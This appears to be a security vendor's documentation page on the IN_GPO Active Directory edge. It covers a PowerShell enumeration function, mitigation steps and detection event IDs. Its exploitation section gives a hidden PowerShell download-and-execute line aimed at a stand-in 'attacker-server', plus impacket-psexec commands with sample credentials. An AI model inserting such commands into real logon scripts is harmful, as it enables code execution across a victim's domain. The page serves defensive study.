# IN\_GPO

## Summary

|                            |         |
| -------------------------- | ------- |
| **FSProtect ACL Alias**    | IN\_GPO |
| **Affected Object Types**  | Scripts |
| **Exploitation Certainty** | Likely  |

## Description

`IN_GPO` indicates that a script is included within a Group Policy Object (GPO), allowing it to run on domain-joined computers during logon/logoff and startup/shutdown events. Because GPOs serve as a central system for configuring and enforcing settings on many machines, a script marked with `IN_GPO` can perform all tasks permitted by these policies—such as installing software, modifying registry entries, or updating security controls—across the network. This is extremely useful for administrators who want to ensure consistent and automated configuration management throughout the domain.

However, if these scripts are misused or altered, they can become a serious security threat. Attackers who successfully insert malicious code into scripts marked `IN_GPO` could gain the same level of control as the script itself, allowing them to spread harmful programs, disable security features, or permanently change critical system settings. Therefore, maintaining the security and integrity of scripts in GPO is essential.

## Identification

### PowerShell

#### Group Policy Module

Using the GroupPolicy PowerShell module, you can enumerate GPOs containing logon/logoff/startup/shutdown scripts.

Function: Find-IN\_GPO

```powershell
function Find-IN_GPO {
    [CmdletBinding()]
    param (
        [string]$GPOGuid = $null,             # Specific GPO GUID to scan
        [string]$OutputPath = "GPOScripts.csv" # Output CSV path
    )

    # Load GroupPolicy module if not already loaded
    if (-not (Get-Module -Name GroupPolicy)) {
        Write-Host "Attempting to load GroupPolicy module..."
        try {
            Import-Module GroupPolicy
            Write-Host "GroupPolicy module loaded successfully."
        }
        catch {
            Write-Error "Failed to load GroupPolicy module. Please ensure RSAT-GroupPolicy is installed."
            return
        }
    }

    function Get-GPOScriptDetails {
        param ([Microsoft.GroupPolicy.Gpo]$GPO)
        $results = @()
        try {
            [xml]$report = Get-GPOReport -Guid $GPO.Id -ReportType Xml
            foreach ($context in @("Computer", "User")) {
                $data = $report.GPO.$context.ExtensionData | Where-Object { $_.Name -eq 'Scripts' }
                if ($data) {
                    foreach ($script in $data.Extension.Script) {
                        $results += [PSCustomObject]@{
                            GPOName      = $GPO.DisplayName
                            GPOID        = $GPO.Id
                            ScriptType   = $script.Type
                            ScriptPath   = $script.Command
                            Parameters   = $script.Parameters
                            Context      = $context
                            LastModified = $GPO.ModificationTime
                        }
                    }
                }
            }
        }
        catch {
            Write-Warning "Error processing GPO '$($GPO.DisplayName)': $_"
        }
        return $results
    }

    if ($GPOGuid) {
        Write-Host "Scanning specific GPO with GUID: $GPOGuid"
        try {
            $gpo = Get-GPO -Guid $GPOGuid -ErrorAction Stop
            $allScripts = Get-GPOScriptDetails -GPO $gpo
        }
        catch {
            Write-Error "Failed to retrieve GPO with GUID $GPOGuid: $($_.Exception.Message)"
            return
        }
    }
    else {
        Write-Host "Scanning all GPOs in the domain..."
        try {
            $allGPOs = Get-GPO -All -ErrorAction Stop
            $allScripts = $allGPOs | ForEach-Object { Get-GPOScriptDetails -GPO $_ }
        }
        catch {
            Write-Error "Failed to enumerate GPOs: $($_.Exception.Message)"
            return
        }
    }

    if ($allScripts.Count -gt 0) {
        Write-Host "Found $($allScripts.Count) script entry(ies) in GPO(s)."
        try {
            $allScripts | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop
            Write-Output "Results exported successfully to '$OutputPath'"
        }
        catch {
            Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"
        }
    }
    else {
        Write-Output "No scripts found in GPO(s)."
    }
}

```

Usage Examples:

**1.** Scan all GPOs in the domain

```powershell
Find-IN_GPO
```

**2.** Scan a specific GPO by GUID

```powershell
Find-IN_GPO -GPOGuid "213650A4-1162-4DF8-9EE8-EA66DDFE7430"
```

**3.** Save results to a custom path

```powershell
Find-IN_GPO -OutputPath "C:\Temp\MyGPOScan.csv"
```

#### Group Policy Management Editor (GUI)

**1.** Open Group Policy Management Editor.

**2.** Expand Computer Configuration or User Configuration.

**3.** Expand Windows Settings → Scripts.

**4.** Double-click the script policy.

**5.** Review scripts listed under Scripts and PowerShell Scripts tabs.

**6.** Click OK to close.

## Exploitation

This permission can be exploitable on Windows systems, while on Linux systems, tools such as impacket tools can be effectively used for exploitation.

An attacker can abuse IN\_GPO by inserting a malicious PowerShell or batch script into a logon/logoff or startup/shutdown script section of a Group Policy Object. Since these scripts are executed automatically on all domain-joined machines affected by the GPO, this provides a reliable way to achieve code execution at scale.

Attacker could add the following command to a logon script to download and execute a payload from a remote server.

```powershell
Start-Process powershell -ArgumentList "-NoProfile -WindowStyle Hidden -Command iex (New-Object Net.WebClient).DownloadString('http://attacker-server/payload.ps1')"
```

When the GPO refreshes on target machines, the malicious payload will be executed without user interaction, granting the attacker remote code execution across multiple systems.

On Linux systems, impacket tools can be used to gain remote access and trigger execution of the injected script:

```powershell
impacket-psexec '<domain>/<user login name>:<password>@<IP Address>'
```

In example:

```powershell
impacket-psexec 'FORESTALL/ANGEL_ROSA:Test123.!@192.168.231.21'
```

After gaining a shell, the attacker can also force an immediate GPO update with:

```powershell
gpupdate /force
```

## Mitigation

You can mitigate `IN_GPO` with following steps:

**1.** Open `Group Policy Management Editor`.

**2.** Expand the Configuration (User or Computer)

**3.** Expand windows settings then click Scripts

**4.** Double click to the script policy.

**5.** In the scripts and PowerShell Scripts list, locate and remove scripts.

**6.** Click OK to close the dialogs.

![alt text](/files/jlv2diNyZC7TdL0uvIx2)

## Detection

Adding new Access Control Entries on the Active Directory objects changes the `ntSecurityDescriptor` attribute of the objects themselves. These changes can be detected with the 5136 and 4662 Event ID's to identify dangerous modifications. During Group Policy processing, the Scripts client-side extension is responsible for launching not only computer startup and shutdown scripts but also user logon and logoff scripts.Event ID 1130 is during Group Policy processing, the Scripts client-side extension is responsible for launching not only computer startup and shutdown scripts but also user logon and logoff scripts.

| Event ID | Description                              | Fields/Attributes      | References                                                                                                                                 |
| -------- | ---------------------------------------- | ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
| 5136     | A directory service object was modified. | ntSecurityDescriptor   | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136>                                                 |
| 4662     | An operation was performed on an object. | AccessList, AccessMask | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662>                                                 |
| 1130     | Group Policy Scripts Processing          | AccessList, AccessMask | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd392581(v=ws.10)?redirectedfrom=MSDN> |

## References

* [Hidden Menace: How to Identify Misconfigured and Dangerous Logon Scripts - OffSec Blog](https://offsec.blog/hidden-menace-how-to-identify-misconfigured-and-dangerous-logon-scripts/)
* [Using Logon Scripts for Active Directory - Redmondmag](https://redmondmag.com/Articles/2016/02/09/Logon-Scripts-for-Active-Directory.aspx)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/ad/in_gpo.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
